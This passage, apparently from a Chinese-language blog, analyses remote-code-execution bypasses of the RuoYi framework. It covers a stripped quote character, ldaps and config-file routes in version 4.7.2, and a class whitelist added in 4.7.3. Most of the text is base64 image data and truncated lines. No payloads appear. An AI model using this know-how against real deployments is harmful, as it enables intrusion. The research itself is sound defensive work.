DTrGzAvCx7aC7NjjbF6/qUn7uRBCiJbV9JF3xYVp/bI5evw8e9s5MWmIP09PLSdu02WuNGXaqNKBu/pnE3LiHL9Vp/fclHLiv4khxdT0ki/zr+1XMAM8egWw2LvxxVQHH164py+dcxLY/Hs22Wb2jBjUlednmvPKVxGE601bb7uuvfnrCDeSz11kTVIZFRa23DG4Oytm6Elcd4FoRYGMBD7clYU5ZvQfMoCJJPL+yazqad8qWVcM0uvWl1fHdSD29GU+Tyulop0ddwzoxl+n6nnq+7iq+x1NSK9F6kWfzuEEHcP8POhLFuerPzbr5EFgu3KOXsquCegVZz9eursnHVLj+Wl/LiU27Zk8OIBVtpWs2JJE7tV2YGQ5zD168NcJnbBIjOXLY/lo7d2Y3c8RlSbelxr7OZe+3AmAVeCL+Ha5zrJmQ3C/I4zsPa+RYTcY93Hz6X5/NufeX0uZooDuN7KjSmjfawL2yiGudiuV7uNxts4h++yxmoAetyX0WPIElombuLIlnEr7AbiN+Su97Cs4+/n3NZ3w+lS60XHWA1hlbSL8t4u195e7LKLH0mewTPqWK1vC0dkH4jH2ZXrblXH2y2110lM0CeRG5dO975OY+5wmZ0Ml9tPrrciY9K58T+ym4yhY4jjuVdzYzOX9x6svpFRSHm9i/ZlQL4rvk3SfPROz6A0k7r5EZfvReA7vDTTygDELJxysITc785qbNul8BLlTRjB7cRSlW0OIydWi6IrJy4WaETJtGIdO5TF0yEgGWoZxqnr+s8WAYfSzzuTAkQs128NyyAIemx1A6m+bWX8xC62lJ4HBd7PkyXJSX/iaOBOPf4rnNJ54Zg4uMXv4ZWMMJU7dGTt1Ac86aVm5ej/5hukpvZk0KYqwbes5bOfP6Kl38sjyfP62ahvpJq7XqHK01XpRs8jNAwcnZ5PyVMOU4ziA4kJw3xyOHAtnj3V7gof68ecpZTz5TWy9869C3/4+nImO4uNwC7oHdCV40gAy0o/wU3Wgb8xxNyunmBIHazoCCS4OeFdUoHe2x1XNILO9DW6FRSToAMXI86DJzLC0tsZKY/CRXkdZhRYUBUXJ5/cvNhH4z4eZe/8Qzn10kmLHUSy4uzdlJ95n46nC2gvHrhN57NmFeKcf5NdNkWRbeDFkyjSWP2PN6pfXE1V9wVFxn8KK5+bhGreXXzbGUuLUg7HBD/G8QwUvv3ek7kVbs55MGB9F6Nb1/F7dXpb9KZ+kv2+pOk8n/Ma6tRGYY0nv6csYxUE+3x5RfVuESna0QbkubufDD45iBrgGLWJuz8ZrxKT2bNaT8eOiCduynoMOvZg47U4eWV7AK6u2/U88N0EIIdqSpgfv7co5tPs8W0sUII3jens2jHNjqN1lNhc3IT3rcg7/Wj89d4bZxZicnlJSyInYQgC6eenhGsFdxx4+BJhl8uGWcPaUV633YI4Fn87pyDifCMLrBxQ34O3miE1FGt/tT+BU9QnxRGoeJ90VijRAJSilhYRcKkRVzXAKACjgaFSqwQPGak+k2vhIVnyip7C0EnMLMxSyOI0zX453I9Ayjp1a09JriXpRFDgWnUFZV3eGdwznfAqoqsrALm7YlaRxJFGt6VR16d2J7roU3tgaSYi+ar3HKmxYN96HsXZJNe3A2HL4dXXHU5fKG9sv1qQXbT6KdzoYn/86ZSkMJy8yHAAb/2evv7BVPlnf/D/SChTgZ/I1PRl450gc7dZSVgyKUkFO+BH0fUfh4gdFcVdHUkZiXniAnJhKrm4728F3Y6fdzaXPXydXpwDbySn1IXDWbDo4fk9aQeNZsB7zN7y9Msn45D1KDC642A6Line truncated
|
||||
<p blockindex=79>跟进之后发现会把参数中的<code>'</code>替换为空</p>
|
||||
<p blockindex=80><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=81>打个断点调试一下</p>
|
||||
<p blockindex=82><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=83><4.7.2</h2>
|
||||
<p blockindex=84>在这个版本下可以看到有可以看到有ldaps、配置文件rce等方法bypass,网上挺多文章的就不分析了</p>
|
||||
<h3 blockindex=85>ldaps</h3>
|
||||
<h3 blockindex=86>配置文件rce</h3>
|
||||
<h2 blockindex=87>4.7.3</h2>
|
||||
<p blockindex=88>在4.7.3的版本下,又增加了白名单,只能调用com.ruoyi包下的类!并且把之前所有的路堵死了</p>
|
||||
<p blockindex=89><img src=data:image/png;base64,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